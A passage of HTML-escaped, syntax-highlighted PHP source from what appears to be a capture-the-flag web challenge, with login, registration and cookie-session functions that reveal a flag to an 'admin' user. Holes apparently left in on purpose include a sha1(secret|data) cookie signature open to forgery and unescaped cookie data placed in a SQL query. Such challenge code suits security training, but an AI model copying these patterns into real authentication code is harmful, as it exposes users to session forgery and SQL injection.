        &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'whirlpool'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;INSERT INTO log VALUES ('%s', '%s', '%s', '%s', '%s')&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;password_verify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'success'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Login successfull!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$cstring&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write_cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;nb&quot;&gt;setcookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'u'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$cstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;setcookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'h'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sha1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'|'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$cstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'admin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
                &lt;span class=&quot;nb&quot;&gt;setcookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'flag'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;shell_exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/usr/bin/get_flag&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'danger'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Registration failed!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ctype_alnum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;generateRandomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;generateRandomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'whirlpool'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$bc_password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;password_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PASSWORD_DEFAULT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'INSERT INTO users (`name`, `password`, `outersalt`, `innersalt`) VALUES (&quot;%s&quot;, &quot;%s&quot;, &quot;%s&quot;, &quot;%s&quot;)'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;real_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$bc_password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$outersalt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$innersalt&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
        
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'success'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Registration successfull!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;validate_login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'u'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'h'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// validate
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sha1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'|'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'u'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'h'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;read_cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'u'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$qres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;msi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SELECT * FROM users WHERE name = '&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$qres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;num_rows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$qres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fetch_assoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;write_cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$pieces&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$pieces&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;%s=%s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;implode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&amp;amp;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$pieces&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;read_cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;explode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&amp;amp;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
